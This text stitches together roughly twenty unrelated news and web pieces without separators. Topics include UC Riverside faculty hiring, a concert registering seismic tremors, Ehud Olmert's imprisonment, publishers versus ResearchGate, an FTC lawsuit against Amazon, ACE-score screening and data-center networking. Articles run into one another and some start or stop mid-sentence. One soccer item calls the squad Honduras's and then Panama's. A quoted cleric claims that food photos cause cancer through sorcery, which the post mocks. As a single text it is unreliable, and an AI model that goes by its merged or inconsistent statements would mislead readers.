Mr. Wilcox said the institution’s agricultural roots are important, as is its reputation in science, technology, engineering, and mathematics, the STEM fields. Yet, he cautioned that there were no plans to "turn our backs on the core of the university—the liberal arts and humanities." The new hires would bring the number of tenured and tenure-track professors to nearly 1,000. University officials said it was too early to tell how much it would cost to expand the faculty. But, paradoxically, the money to do so has come, in part, from the university’s response to tough times. Previous administrations, Mr. Wilcox said, were "fiscally conservative" during the years when the status of state funding was uncertain. Advertisement Now that the institution’s budget is more stable, hiring new faculty members is an option. It also helps, he said, that Riverside is expanding its research budget, and tuition revenue will help cover the cost as well. Once the university names a new provost—the search is nearly complete—then the recruitment of faculty members can begin. About 100 professors will be hired each academic year. Mr. Wilcox, who oversees an institution that by law is designated as a Hispanic-serving institution, sees the new hires as a way to make the faculty better reflect the demographics of the nation, of California, and of the university’s enrollment. At Riverside nearly 30 percent of the student body identifies as Chicano or Latino. "I really see this as a chance for us to diversify our faculty," Mr. Wilcox said. "This is a chance for us to recruit people to an institution that has a critical mass of students and staff of color, and that has a reputation of academic excellence." In a recent interview with The Chronicle, Mr. Wilcox described how Riverside had achieved parity in student success, across racial and income groups. Mr. Wilcox, in his speech during the installation ceremony, detailed plans to put a new interdisciplinary-research building on a fast track, and he made the case for the university to increase its enrollment—which is already just a few thousand students shy of the 25,000 expected to enroll by 2020. The university is also recruiting for a new position of vice provost for international affairs. "We’re going to try to use this opportunity," he said, "to improve all the parts of the campus that we can."The Foo Fighters may just be the most intense rock group around. No, really. New Zealand's GeoNet blog reported via The Hollywood Reporter that the group's Dec. 13 concert in Auckland, New Zealand actually caused geological tremors similar to a volcanic event. It was recorded that a strong low frequency of tremors were detected during the show -- 1.5 and 2 kilometers from the venue -- correlating to the highs and lows of the performance. "The first vibrations were recorded around 7:30pm, part way through the Tenacious D set, but the biggest shakes started at 8:20pm when the Foo Fighters took the stage, and then it all went quiet at 11pm when the gig ended," Geonet states. The show, which was attended by approximately 50,000 fans, marked a brief hiatus of the band's worldwide tour. They will resume in March with performances in Japan, Latin America and North America.(Ricky Carioti/The Washington Post) Last week, Gregg Rosenthal of NFL.com took a look at which teams have signed the most new players since the offseason started Feb. 3. Free of the salary cap penalties that have hampered them for the past two years, the Redskins have signed the third-most players with 13. Just like old times. Rosenthal also looked at which team’s rosters have been the most stable since 2011. You might be surprised to learn that the Redskins rank at the top of the list, tied with the Green Bay Packers for the most players (25) remaining on their roster from 2011. If you guessed that the teams with more stable rosters tend to be the teams that have won more games since 2011, you’d be right. Of the seven teams with at least 20 players remaining on their rosters from 2011, the Redskins and the Falcons are the only two who didn’t make the playoffs last season. At the other end of the roster turnover spectrum, the Colts are the only team that has had success over the past two years. Indianapolis has seven players remaining on its roster from 2011. 2013 Wins vs. Players Remaining From 2011 2012 Wins + 2013 Wins vs. Players Remaining From 2011 Via Rosenthal:A custom Twilight Sparkle Windows 7 theme inspired from the popular series my little pony. WOW! sorry for such a late upload, its been 2 weeks since my last one! I'm finally home now back from vacation so you guys can expect applejack and pinkie pie to be finished before summer break ends.EDIT: Fixed the colors to be more bright, i found the original theme was a little too dreary.Running into problems? or have a question? check out this link for common concerns and question : [link] To use this theme it is really simple:1. Download and install Uxtheme multi patcher from the internet (you will have to restart it is not optional)2. Extract the files provided onto the desktop and place them in the directory "C:WindowsResourcesThemes".3. Right click on you're desktop, Go into personalize and you will find the theme ready to be applied.Credits:Jerusalem: Israel's former prime minister Ehud Olmert made a last-minute plea to salvage his legacy, appealing to Israelis to remember his peacemaking attempts as leader, and denied any wrongdoing in the bribery charges against him just hours before heading to prison. Olmert, 70, reported to Israel's Maasiyahu prison on Monday to begin a 19-month prison sentence for bribery and obstruction of justice. He is the first Israeli leader to be imprisoned. Former Israeli prime minister Ehud Olmert enters prison to begin his sentence in the central Israeli town of Ramle, Israel, on Monday. Credit:AP In a 3½-minute video released by his office and filmed at his residence on Sunday, a weary-looking Olmert said it was a "painful and strange" time for him and his family. He said he was paying a "heavy" price, but added that he accepted the sentence because "no man is above the law". "At this hour it is important for me to say again... I reject outright all the corruption allegations against me," Olmert said. He said that in hindsight, the Israeli public might view the charges against him and the seven-year legal saga that enveloped him in a "balanced and critical way".Peter Waldron’s journey from a jail cell in Uganda to the inner circle of Michele Bachmann’s presidential campaign in Iowa did not follow a straight line. An evangelical missionary with a penchant for secrets — he was caught with an assault rifle in Africa and accused of being a spy — Waldron popped up in Des Moines in early 2011 to participate in the GOP primaries. He thought he’d be working for insurgent Republican Herman Cain. Instead, he met a tough-talking, born-again congresswoman from Minnesota whom he regarded as a kindred maverick spirit. “From that point on,” Waldron said, “I was absolutely committed to Michele Bachmann.” Waldron, 65, is now the man behind a pair of inquiries by the Federal Election Commission and the independent Office of Congressional Ethics, raising allegations of campaign finance violations that have given the four-term congresswoman more bad publicity than anything lobbed her way by the political left. Close Bachmann associates write Waldron off as a loose cannon and disgruntled employee. But for Waldron, a former radio evangelist, his actions are consistent with his decadeslong mission to spread the word of God and follow his Christian precepts. It’s a quest that has taken him to hot spots around the globe and left even his best friends and family often wondering what he’s up to. If his 2006 arrest in Uganda on weapons charges sounds like it could have been a movie, it nearly was. A movie trailer for a planned film on the 37-day episode poses the same questions that have dogged Waldron for the past seven years: “Was he a spy? Was he a missionary? A businessman? A mercenary? A bounty hunter? Who was Peter Waldron? What did he know that risked the lives of his own family and friends?” Waldron still won’t answer that question, citing a promise made to an unnamed person or persons more than 40 years ago. That was shortly after he got out of the Army and took a job with a contractor doing business in Beirut, then at the height of Lebanon’s civil war. The only suggestion from the movie trailer that Waldron specifically denies is that he worked for the CIA. Waldron also claims to have provided “soft aid” to the mujahedeen guerrillas fighting the Soviets in Afghanistan and raised money for the contras in Nicaragua, both semi-clandestine projects of the Reagan administration. Back in the United States, Waldron ran afoul of some officials in Tampa, Fla., who questioned the effectiveness of a publicly subsidized youth charity he ran there in the 1990s. Waldron’s political résumé begins with the Reagan campaign and stretches into the 1990s and 2000s, when he worked on the campaigns of Presidents George H.W. and George W. Bush. In 1999, he worked on the short-lived presidential campaign of evangelical Christian Gary Bauer. Bounty hunters In 2002, he was off to help distribute antiretroviral drugs to HIV-infected patients in Uganda, a project that was in concert with George W. Bush’s emergency plan for AIDS relief in Africa. That’s where Waldron got involved with a group of Congolese soldiers he said were pursuing a $2 million bounty for Joseph Kony, the leader of the Lord’s Resistance Army, a spiritually based cult that employed child warriors in a campaign of terror. Kony was wanted by the International Criminal Court in The Hague, though the organization has dismissed the notion of a reward for the guerrilla’s head. Waldron saw Kony’s capture as part of his Christian mission and freely admits to being in contact with Congolese soldiers who thought they had a bead on him. “My primary reason was to capture a murderer,” he said. But that’s not the only thing that could have made the government of Ugandan President Yoweri Museveni nervous. Waldron also was a frequent speaker at evangelical gatherings and was publishing a newsletter, the Africa Dispatch, which criticized the arrest of Museveni’s main opposition leader, Kizza Besigye, and chronicled the urban rioting that followed. In February 2006, two days before the nation’s first multiparty elections in 25 years, Waldron was arrested in his rented compound, where Ugandan police said they found a cache of assault weapons and ammunition. According to an account in the Daily Monitor, Waldron and several Congolese men were held in connection with illegally possessing guns, to which authorities added accusations of terrorism and anti-government propaganda. According to Reuters, Maj. Gen. Kale Kayihura, inspector general of police, told a news conference that Waldron was suspected of links to a group in the neighboring Democratic Republic of Congo and that he “planned to set up a political party here based on Christian precepts.” Waldron, on the advice of his lawyer, initially denied that there were any weapons. He now admits that he kept an assault rifle on hand for personal protection. “Who lives in a Third World nation without an AK-47?” he said. Waldron says his 37-day confinement in Luzira Prison, in a suburb of the Ugandan capital of Kampala, was marked by harsh interrogation techniques he likens to “torture,” even though he has been advised not to use that word. “They were convinced I was a CIA spy sent to assassinate the president and overthrow the government,” he said. A cause celebre Waldron’s arrest made him a cause celebre in the Christian network back in the States. Among those who came to his defense was Twin Cities writer Dave Racer, who became Waldron’s de facto publicist, churning out news releases decrying the Ugandans’ “trumped up charges.” Racer, who is also a close supporter of Bachmann’s, says he is now trying to stay out of their current campaign ethics standoff, which he calls a “sad thing.” But he says this about Waldron: “You wouldn’t think of Peter as your typical conservative evangelical pastor. He’s more a man of mystery and intrigue.” By Waldron’s account, it took a call from President George W. Bush to get him out of jail. The Star Tribune has not been able to verify Bush’s direct intervention, but Racer and another associate who worked on his release say it was handled at the highest levels of government. That associate is D.C. political consultant Bob Heckman, who had worked with Waldron on the Bauer campaign and kept high-level contacts in the Bush White House. Heckman is also the aide who brought Waldron into the Bachmann campaign in Iowa. “Peter is a larger-than-life character,” Heckman said of Waldron. “I reached out to him because he is one of the best field people in the country. He’s as good as anyone I’ve ever worked with in interfacing with church leaders.” Other Bachmann aides say Waldron’s role in her campaign has been overstated. “He was just a contractor hired to do one little thing,” said campaign manager Keith Nahigian. “His only thing was minister recruitment and minister liaison, and while we had some ministers endorse, we had a lot of big ones not endorse.” Also among Waldron’s critics is Bachmann debate coach Brett O’Donnell, a top campaign strategist whom Waldron accuses of having a “Rasputin-like” hold over the candidate. O’Donnell, who went on to work for the Mitt Romney campaign, described Waldron as a “disgruntled employee” who apparently felt sidelined on the campaign. Waldron’s complaint alleges that the campaign improperly dipped into money from Bachmann’s independent political organization, MichelePAC, to pay longtime fundraising consultant Guy Short and Iowa state campaign chairman Kent Sorenson for work they did on the presidential campaign. Waldron and several other staffers also have had payments withheld until they sign confidentiality agreements. Campaign officials say such agreements are routine. They also have denied Waldron’s campaign finance allegations and raised questions about his motives. Waldron’s backers, however, reject the narrative of Waldron as a marginalized campaign aide with a vendetta. Prominent Nashville evangelist Paul Crites, who has known Waldron since his radio ministry days three decades ago, calls him an “old school” pastor who follows a clear moral compass. “If you’re asking me about Peter Waldron,” Crites said, “I can tell you he’s an honorable man. But he walks to the beat of a different drummer. He’s devoted to the truth, so I’m sure he’s upset a few apple carts.”Leading publishers are stepping up their fight against ResearchGate by ordering the academic social network to take down papers that they say infringe copyright. The move could see millions of articles removed from the site, as the publishers say up to 40 per cent of papers on ResearchGate are copyrighted. James Milne, a spokesman for the group of five academic publishers, which includes Elsevier, Wiley and Brill, said that the first batch of take-down notices would be sent “imminently”. “We’re not doing this in any way against the researchers, we’re doing this against ResearchGate,” he told Times Higher Education. The site was “clearly hosting and happily uploading material that they know they don’t have the licence or copyrights” to, and was “refusing to work with us to solve that problem”, he added. According to a survey of academics released last year, Berlin-based ResearchGate is by some way the world’s biggest academic social network, used by about 60 per cent of academics, particularly in the physical and life sciences, and has raised nearly $90 million (£68 million) in funding from investors, according to the website Crunchbase. Publishers are seeing “anecdotal” evidence that the availability of papers on the site is eating into their revenues, said Dr Milne. “We have heard during the subscriptions renewal process that librarians are occasionally referencing ResearchGate as an alternative to resubscribing to journals,” he said. He attacked ResearchGate as being “backed by hundreds of millions of dollars [from venture capitalists,] who are seeking to make a profit from what [ResearchGate] do, which is upload copyright infringed material”. “They put nothing back into the process for generating and validating and curating all that material,” he said. The publisher Elsevier drew a backlash from many academics in 2013 when it told users of Academia.edu, a rival to ResearchGate, to take down papers to which it had rights. Dr Milne stressed that this time, the publishers would not directly send take-down notices to academics. “We will work with ResearchGate on this, not researchers,” he said, although the organisation would be communicating “en masse” with academics about how they can share their work properly. But for the publishers, sending out mass take-down notices is not a permanent solution. “That in itself doesn’t solve the problem, because every day ResearchGate is uploading more and more material,” said Dr Milne, trapping publishers in a “perpetual loop” of having to identify infringing papers. He argued that this would be confusing for researchers, as “one day there’s content, and the next day there isn’t”, he said. Elsevier and the American Chemical Society are therefore also taking ResearchGate to court where they hope to obtain a ruling that would stop ResearchGate “scraping content off the web, uploading it...and asking researchers to claim it” so that infringing material “is not in the public domain”, he explained. The court claim would be lodged in Europe, he said. A ResearchGate spokeswoman declined to comment. The company’s founder and chief executive, Ijad Madisch, has previously said that he “wouldn’t mind” if copyrighted material was removed from the site, as researchers could continue to share papers privately. david.matthews@timeshighereducation.comWe all know people who take pictures of their food to post on social media. But I had no idea those pictures caused cancer. According to Saudi Cleric Sa’d Al-Ateeq, here’s how that works: Women decorate their food for social media (something they never do for their families). The result is that people who see the pictures become envious. And then people get cancer. Can’t wait to see the peer-reviewed paper for that one… Many women — many of our sisters and our daughters — decorate the food not for the sake of their husbands, children, and family, but in order to take a picture of it. It’s very important to discuss this. Some women, Allah bless them, pay a lot of attention to decorating the food they cook. They sit for hours on end, “engineering” a cucumber or a tomato, and it is all done so that people will see it. But she never does this for her husband and children. Unfortunately — and this is a fact — many people were afflicted with envy because of this. By Allah, I have encountered cases of cancer caused directly by pictures posted on social media accounts. By Allah, I saw this with my own eyes. Children got cancer because of pictures circulated [online]. A picture might transmit sorcery. The proof is that if I took your picture, and applied sorcery to it, you will be afflicted accordingly. So why do we find it difficult to believe that a sorcerer might take your picture from a social media account, print it, and cast sorcery upon it? This is what passes for intelligent conversation in Saudi Arabia. Meanwhile, people who criticize this sort of nonsense are being punished with thousands of lashes and thousands of dollars. (via MEMRITVVideos)Michael Murillo will be taking a trip to Central America for World Cup qualifying. (Bill Streicher/USA TODAY Sports) Red Bulls defender Michael Murillo and New York City FC midfielder Miguel Camargo were called into the Honduras national team for World Cup qualifiers in June. They were among 22 players called up for matches by head coach Hernan Dario Gomez against Costa Rica (June 8, away) and Honduras (June 13, home). Panama head coach Hernan Dario Gomez announced Wednesday that he is calling in 22 players for World Cup qualifiers against Costa Rica (June 8, away) and Honduras (June 13, home). The Canaleros are in third place in the final round of CONCACAF Hexagonal with a 1-2-1 mark and four points, one point ahead of the United States and the Hondurans. The team: GOALKEEPERS: José Calderon (Real Cartagena/Colombia), Jaime Penedo (Dinamo Bucharest/Romania) DEFENDERS: Felipe Baloy (Tauro FC), Eric Davis (Dunajská Streda/Slovakia), Fidel Escobar (Sporting Lisbon B/Portugal), Adolfo Machado (Houston Dynamo/USA), Michael Murillo (New York Red Bulls/USA), Luis Ovalle (Zamora FC/Venezuela), Roman Torres/Seattle Sounders FC/USA), Jan Carlos Vargas (Tauro FC, PAN) MIDFIELERS: Edgar Yoel Barcenas (Cafetaleros de Tapachula/Mexico), Miguel Camargo (New York City FC/USA), Armando Cooper (Toronto FC/Canada), Anibal Godoy (San Jose Earthquakes/USA), Gabriel Gomez (Atletico Bucaramanga/Colombia), Valentin Pimentel (Plaza Amador), Alberto Quintero (Universitario/Peru) FORWARDS: Abdiel Arroyo (Danubio FC, Uruguay), Ismael Diaz (Porto/Portugal), Blas Perez (Blooming/Bolivia), Luis Tejada (Universitario/Peru), Gabriel Torres (Lausanne Sport/Switzerland)Mid-city pizza chain Pizza Patron is giving away a free pie to anyone who orders in Spanish. Cash-strapped customers say they'll order in whatever language they're told to; while some, including conservative radio host Heidi Harris, think the deal is a form of discrimination. Antonio Castelan reports for the NBC4 News at 5 p.m. on May 23, 2012. (Published Wednesday, May 23, 2012) It's not what you say, it’s how you say it at mid-city pizza chain Pizza Patron, where saying, "Pizza por favor" will get you a free large pepperoni pie. The deal is described as a marketing tactic and a way to celebrate the businessowners' Hispanic roots. "Anybody that comes in and doesn't speak Spanish, we are going to help them order in Spanish," said Olivia Barba, Pizza Patron owner, who insisted anyone can participate. But conservative radio host, Heidi Harris thinks this promotion is less celebration and more discrimination. "I shouldn't have to do it as somebody who was born here. We should have one language that we all speak," Harris said. Regardless, customers didn’t seem to mind ordering in Spanish. "This day and age, free pizza, you kidding me? I don’t care what language they tell me to say it, I'll say it," said one customer. Follow NBCLA for the latest LA news, events and entertainment:iPhone/iPad App \| Facebook\| Twitter \| Google+ \| Instagram \| RSS \| Text Alerts \| Email AlertsJeff Bezos, CEO of Amazon, during a press conference in Santa Monica, Calif., on Sept. 6, 2012. (Photo: JOE KLAMAR, AFP/Getty Images) The Federal Trade Commission accused online retailer Amazon.com of billing parents for millions of dollars in unauthorized in-app purchases on Kindle Fire tablets and other devices. In a lawsuit filed Thursday in U.S. District Court, the FTC charges that Amazon willingly allowed kids to make purchases within apps downloaded using mobile devices without parental consent. The unauthorized charges, which ranged from 99 cents to $99 per consumer, were usually for virtual items in games and apps. But the charges add up to millions of dollars in unauthorized purchases, said Jessica Rich, director of the FTC's consumer protection bureau. Parents were billed "without consent, sticking (them) with unexpected bills in the hundreds of dollars," Rich said. "We are seeking this money back for consumers as well as an order preventing the company from billing consumers without their permission in the future." AMAZON: Seeks OK for enhanced drone tests When Amazon began allowing in-app purchases in November 2011, the company did not implement measures such as password requirements to prevent kids from unknowingly racking up purchases on their parents' accounts, the FTC charges. Internal Amazon e-mails found that employees acknowledged "problems" for customers just a month later, Rich said. Employees warned that the practices were "clearly causing problems for a large percentage of our customers" in e-mails included in the FTC's suit, she said. In March 2012, Amazon made a change that required a password for in-app purchases above $20, the FTC complaint alleges. Last year, even after Amazon set up passwords for charges of less than $20, "what Amazon did not tell consumers is that entering a password would open a window of 15 minutes to an hour, in which children would rack up unlimited charges without parental involvement," Rich said. This is just the latest in an FTC campaign against unauthorized billing. In January, the FTC settled with Apple over in-app purchases, requiring the company to employ stricter policies for obtaining consent, such as password requests. The settlement was worth $32.5 million. And last week, the agency filed suit against cell provider T-Mobile accusing it of "cramming" hundreds of millions of unauthorized charges on phone bills. Like those cases, the Amazon suit "highlights a central tenet of consumer protection (that) companies need to get consumers' consent before placing charges on their bill," Rich said. "This principle applies to companies of all types, from brick and mortar businesses to mobile app stores and it applies to charges of all kinds, from purchases of physical goods to charges for the virtual items at issue in today's action." Amazon, however, refutes the FTC's characterizations. In a letter sent to the FTC earlier this month, the company said that it employed "effective" parental controls and provided users with real-time notices each time an in-app purchase was made. "We have continuously improved our experience since launch, but even at launch, when customers told us their kids had made purchases they didn't want we refunded those purchases," wrote Andrew DeVore, Amazon's associate general counsel. The letter was submitted after the FTC informed Amazon they would move forward with the lawsuit unless they made changes to their app store model similar to Apple. The FTC says in-app purchases are "final and non-refundable" by Amazon, with the company keeping 30% of transactions. "The path to seeking a refund has been unclear and rife with deterrents including statements that consumers cannot, in fact, get a refund for in-app charges," Rich said. She would not estimate how large a fine could result — or the size of a possible settlement — in the Amazon case. The lawsuit targets virtual items that are often unknowingly purchased by kids in games and apps. Many apps on smartphones and tablets include supplemental purchases users can make to enhance their experience. An example cited by the FTC in the Amazon suit involves the case of a mother whose daughters acquired more than $350 in virtual goods without consent. Hudson Kingston, legal director for the Center for Digital Democracy, praised the FTC move. "Today's FTC action shows that consumers who have been charged for their kids unauthorized in-app purchases should not have to foot the bill." Follow Brett Molina and Mike Snider on Twitter: @brettmolina23 and @MikeSnider Read or Share this story: http://usat.ly/1lXi3OSThis news took me completely off guard, not because it’s so improbable but because the timing feels so Johnny come lately. News broke today that famed SBS veteran PD Kim Kyu Tae, whose most recently directed dramas were It’s Okay, It’s Love and That Winter, the Wind Blows, has secured the rights to and is prepping the K-adaptation of the wildly popular Chinese period romance novel Bu Bu Jing Xin (Startling with Each Step). Those who follow my blog in the last few years may have never watched a second of a C-drama but must have an inkling of BBJX based on how much I write about it. The novel from writer Tong Hua started the time-traveling streak whereby the leading lady lands herself in some historical heaven/hell surrounded by endless hot royals while battling despairing fated odds of a happy ending. PD Kim is planning to start filming in late 2015, though the project may seep into early 2016 depending on the production schedule. I still love BBJX to pieces, both the novel and the unexpectedly perfect C-drama adaptation starring Liu Shi Shi and Nicky Wu. It’s also notable for bringing the two together in real life, with the OTP not making it in the drama story but finding happily ever after in real life by getting married earlier this year. The best part of the drama wasn’t just leads Shi Shi and Nicky’s chemistry and incredibly on point acting, it also spawned a veritable treasure trove of amazing supporting male leads who played a bevy of Qing dynasty princes: Kevin Cheng, Yuan Hong, Lin Geng Xin, Ye Zhu Xin, and Han Dong. Every one of them have gone on to be leading men in subsequent dramas, not to mention making each prince utterly memorable even if not the main male lead. I have no clue how PD Kim will adapt the real life Qing dynasty princely struggle for the throne to Joseon era politics, which is what he’s planning, but I choose to remain optimistic he can make it work and cast the right actress and actors for the main cast.It’s “the best fiction magazine in America,” according to Stephen King. And Amazon’s sending it to your Kindle for free! It’s “Fantasy & Science Fiction magazine,” a legendary collection of short stories and commentary which has been publishing for over 60 years. “Each bimonthly issue offers compelling short fiction,” Amazon explained in a press release, plus,”the science-fiction field’s most respected and outspoken opinions on books, films, and science.” You can sign up for your free subscription by pointing your web browser to tinyurl.com/FreeSciFiMag.) And according to Wikipedia, this magazine has a long history of publishing some of the world’s most imaginative authors. For example, in October of 1978, they began publishing all the Stephen King short stories which would later appear in the first volume of “The Dark Tower”. They published Robert Heinlein’s Starship Troopers (which ran as a serial in 1959 titled “Starship Soldier”). They published the novella “Flowers for Algernon” by Daniel Keyes, and Harlan Ellison was a regular columnist, contributing short stories like “Jeffty is Five” and “The Deathbird”. And the magazine even published Kurt Vonnegut’s short story Harrison Bergeron in 1961 — a story which later appeared in the collection “Welcome to the Monkey House”. (It’s set in the year 2081, shortly after the United States passes the 213th amendment to its Constitution mandating absolute equality…) Fantasy & Science Fiction magazine is “the definitive magazine of the genre,” according to Amazon’s Vice President for Kindle Content. “We know our Kindle customers are huge fans of this category, and we’re excited to offer them a free and exclusive subscription to the magazine to read anywhere.” There is one small caveat. Though each issue of the print edition — published six times a year — has a whopping 256 pages, Amazon’s free offer is for only a smaller “digest edition”. According to Amazon’s press release, subscribers “will get access to all of the magazine’s editorial content – editor’s recommendations, ‘Curiosities’ (odd books of enduring interest), film reviews, book reviews, cartoons and humor, and ‘Coming Attractions’ (highlights of each issue) – along with one short story, all at no cost.” But you can also sign up your Kindle to receive the full 256-page edition for just 99 cents more — and it’s available exclusively on the Kindle. (Though it’s also available on the Kindle apps for the iPad, iPhone, iPod Touch, and Android devices.) I’m a big fan of science fiction stories, so I’m seroiusly signing up to receive all 1,536 pages each year. I still remember when Stephen King a science fiction story about a Kindle which could receive descriptions of events from the future. In real life, Stephen King has always been a big fan of the Kindle — and judging by Amazon’s latest press release, he’s even more excited now. When he heard the news about a free version of “Fantasy & Science Fiction magazine,” Stephen King had one more sentence to add. “Kindle readers are in luck.”
2013 for his work on how to treat the most complicated, expensive patients in his city — people who often have high ACE scores, he found. "I can't imagine, 10, 15 years from now, a health care system that doesn't routinely use the ACE scores," he says. "I just can't imagine that." Brenner only learned about ACE scores a few years ago, and says he regrets not integrating the tool into his practice sooner. But like most doctors, he says, he was taught in medical school to not "pull the lid off something you don't have the training, time or ability to handle." In theory, Brenner says, talking to patients about adverse childhood experiences shouldn't be any different than asking them about domestic violence or their drinking — awkward topics that doctors routinely broach now. But spreading the word about ACE scores has been a challenge, he says. Even doctors who want to screen their patients in this way say that figuring out exactly how to do so is complicated. Who would review the answers with patients? A doctor? A nurse? A social worker? And what should doctors do with a patient's ACE score, once they have it? "You can't go back 40 years and make the bad childhood go away," says Dr. Richard Young, a family physician who also trains residents in family medicine in Fort Worth, Texas. Young says he sees patients all the time with lots of health problems who had rough childhoods — and he's not afraid to talk to them about what they've been through. But he's skeptical of the usefulness of asking every single patient about adverse childhood experiences. For those who already have reckoned with demons from their past, the questions could bring up issues they'd rather not relive, Young says. And many of the biggest factors that can foster disease and shorten life — depression, alcoholism, drug abuse, and complicated, chronic conditions like diabetes and obesity — are problems he says he would find out about anyway, without having to ask patients about their childhoods. "There are no randomized controlled trials that show that applying these screening tools to a large population changes any outcomes that a patient cares about," says Young. "Someone's got to show me that it's going to actually make a difference in my patients' lives — and to my knowledge no one has done that." Felitti agrees that there is no research tracking how asking for ACE scores affects patients in the long term, but says that from his experience with many thousands of patients, the benefits of getting an ACE score come down to something more spiritual than medical: alleviating shame. Felitti says that many of his patients never had told anyone that they'd been abused as a kid — ever — until he asked them. Disclosing their secrets, they told him afterward, brought them tremendous relief. He likens that unburdening to a lay version of a Catholic church confession. "They leave with the understanding that they're still an acceptable human being, they're still part of the group," Felitti says. Instead of treating a specific medical problem, talking about an ACE score with a patient is a process of listening and accepting, Felitti says. But for busy doctors eager to diagnose and cure, that's harder than it sounds. This story is part of the NPR series, What Shapes Health? The series explores social and environmental factors that affect health throughout life. It is inspired, in part, by findings in a poll released Monday by NPR, the Robert Wood Johnson Foundation and the Harvard T.H. Chan School of Public Health.The November/December issue of acmqueue is out now Subscribers and ACM Professional members login here PDF May 3, 2012 Volume 10, issue 5 A Guided Tour through Data-center Networking A good user experience depends on predictable performance within the data-center network. Dennis Abts, Bob Felderman, Google The magic of the cloud is that it is always on and always available from anywhere. Users have come to expect that services are there when they need them. A data center (or warehouse-scale computer) is the nexus from which all the services flow. It is often housed in a nondescript warehouse-sized building bearing no indication of what lies inside. Amidst the whirring fans and refrigerator-sized computer racks is a tapestry of electrical cables and fiber optics weaving everything together—the data-center network. This article provides a "guided tour" through the principles and central ideas surrounding the network at the heart of a data center — the modern-day loom that weaves the digital fabric of the Internet. Data-center Development Large-scale parallel computers are grounded in HPC (high-performance computing) where kilo-processor systems were available 15 years ago. HPC systems rely on fast (low-latency) and efficient interconnection networks capable of providing both high bandwidth and efficient messaging for fine-grained (e.g., cache-line size) communication. This zealous attention to performance and low latency migrated to financial enterprise systems, where a fraction of a microsecond can make a difference in the value of a transaction. In recent years, Ethernet networks have made significant progress toward bridging the performance and scalability gap between capacity-oriented clusters built using COTS (commodity-off-the-shelf) components and purpose-built custom system architectures. This is evident from the growth of Ethernet as a cluster interconnect on the Top500 list of most powerful computers (top500.org). A decade ago high-performance networks were mostly custom and proprietary interconnects, and Ethernet was used by only 2 percent of the Top500 systems. Today, however, more than 42 percent of the most powerful computers are using Gigabit Ethernet, according to the November 2011 list of Top500 computers. A close second place is InfiniBand, which is used by about 40 percent of the systems. These standards-based interconnects combined with economies of scale provide the genetic material of a modern data-center network. A modern data center,13,17,24 as shown in figure 1, is home to tens of thousands of hosts, each consisting of one or more processors, memory, network interface, and local high-speed I/O (disk or flash). Compute resources are packaged into racks and allocated as clusters consisting of thousands of hosts that are tightly connected with a high-bandwidth network. While the network plays a central role in the overall system performance, it typically represents only 10-15 percent of the cluster cost. Be careful not to confuse cost with value—the network is to a cluster computer what the central nervous system is to the human body. Each cluster is homogeneous in both processor type and speed. The thousands of hosts are orchestrated to exploit thread-level parallelism central to many Internet workloads as they divide incoming requests into parallel subtasks and weave together results from many subtasks across thousands of cores. In general, all parallel subtasks must complete in order for the request to complete. As a result, the maximum response time of any one subtask will dictate the overall response time.25 Even in the presence of abundant thread-level parallelism, the communication overhead imposed by the network and protocol stack can ultimately limit application performance as the effects of Amdahl's law2 creep in. The high-level system architecture and programming model shape both the programmer's conceptual view and application usage. The latency and bandwidth "cost" of local (DRAM) and remote (network) memory references are often baked into the application as programming tradeoffs are made to optimize code for the underlying system architecture. In this way, an application organically grows within the confines of the system architecture. The cluster-application usage model, either dedicated or shared among multiple applications, has a significant impact on SLAs (service-level agreements) and application performance. HPC applications typically use the system in a dedicated fashion to avoid contention from multiple applications and reduce the resulting variation in application performance. On the other hand, Web applications often rely on services sourced from multiple clusters, where each cluster may have several applications simultaneously running to increase overall system utilization. As a result, a data-center cluster may use virtualization for both performance and fault isolation, and Web applications are programmed with this sharing in mind. Web applications such as search, e-mail, and document collaboration are scheduled resources and run within a cluster.4,8 User-facing applications have soft realtime latency guarantees or SLAs that the application must meet. In this model, an application has roughly tens of milliseconds to reply to the user's request, which is subdivided and dispatched to worker threads within the cluster. The worker threads generate replies that are aggregated and returned to the user. Unfortunately, if a portion of the workflow does not execute in a timely manner, then it may exceed a specified timeout delay—as a result of network congestion, for example—and consequently some portion of the coalesced results will be unavailable and thus ignored. This needlessly wastes both CPU cycles and network bandwidth, and may adversely affect the computed result. To reduce the likelihood of congestion, the network can be overprovisioned by providing ample bandwidth for even antagonistic traffic patterns. Overprovisioning within large-scale networks is prohibitively expensive. Alternatively, implementing QoS (quality of service) policies to segregate traffic into distinct classes and provide performance isolation and high-level traffic engineering is a step toward ensuring that application-level SLAs are satisfied. Most QoS implementations are implemented by switch and NIC (network interface controller) hardware where traffic is segregated based on priority explicitly marked by routers and hosts or implicitly steered using port ranges. The goal is the same: a high-performance network that provides predictable latency and bandwidth characteristics across varying traffic patterns. Data-center Traffic Traffic within a data-center network is often measured and characterized according to flows, which are sequences of packets from a source to a destination host. When referring to Internet protocols, a flow is further refined to include a specific source and destination port number and transport type—UDP or TCP, for example. Traffic is asymmetric with client-to-server requests being abundant but generally small. Server-to-client responses, however, tend to be larger flows; of course, this, too, depends on the application. From the purview of the cluster, Internet traffic becomes highly aggregated, and as a result the mean of traffic flows says very little because aggregated traffic exhibits a high degree of variability and is non-Gaussian.16 As a result, a network that is only 10 percent utilized can see lots of packet discards when running a Web search. To understand individual flow characteristics better, applications are instrumented to "sample" messages and derive a distribution of traffic flows; this knowledge allows you to infer a taxonomy of network traffic and classify individual flows. The most common classification is bimodal, using the so-called "elephant" and "mice" classes. Elephant flows have a large number of packets and are generally long lived; they exhibit "bursty" behavior with a large number of packets injected in the network over a short time. Traffic within a flow is generally ordered, which means that elephant flows can create a set of "hotspot" links that can lead to tree saturation or discarded packets in networks that use lossy flow control. The performance impact from elephant flows can be significant. Despite the relatively low number of these flows—say less than 1 percent—they can account for more than half the data volume on the network. The transient load imbalance induced by elephant flows can adversely affect any innocent-bystander flows that are patiently waiting for a heavily utilized link common to both routes. For example, an elephant flow from A to B might share a common link with a flow from C to D. Any long-lived contention for the shared link increases the likelihood of discarding a packet from the C-to-D flow. Any packet discards will result in an unacknowledged packet at the sender's transport layer and be retransmitted when the timeout period expires. Since the timeout period is generally one or two orders of magnitude more than the network's round-trip time, this additional latency22 is a significant source of performance variation.3 Today's typical multitiered data-center network23 has a significant amount of oversubscription, where the hosts attached to the rack switch (i.e., first tier) have significantly more—say an order of magnitude more—provisioned bandwidth between one another than they do with hosts in other racks. This rack affinity is necessary to reduce network cost and improve utilization. The traffic intensity emitted by each host fluctuates over time, and the transient load imbalance that results from this varying load can create contention and ultimately result in discarded packets for flow control. Traffic between clusters is typically less time-critical, so it can can be staged and scheduled. Inter-cluster 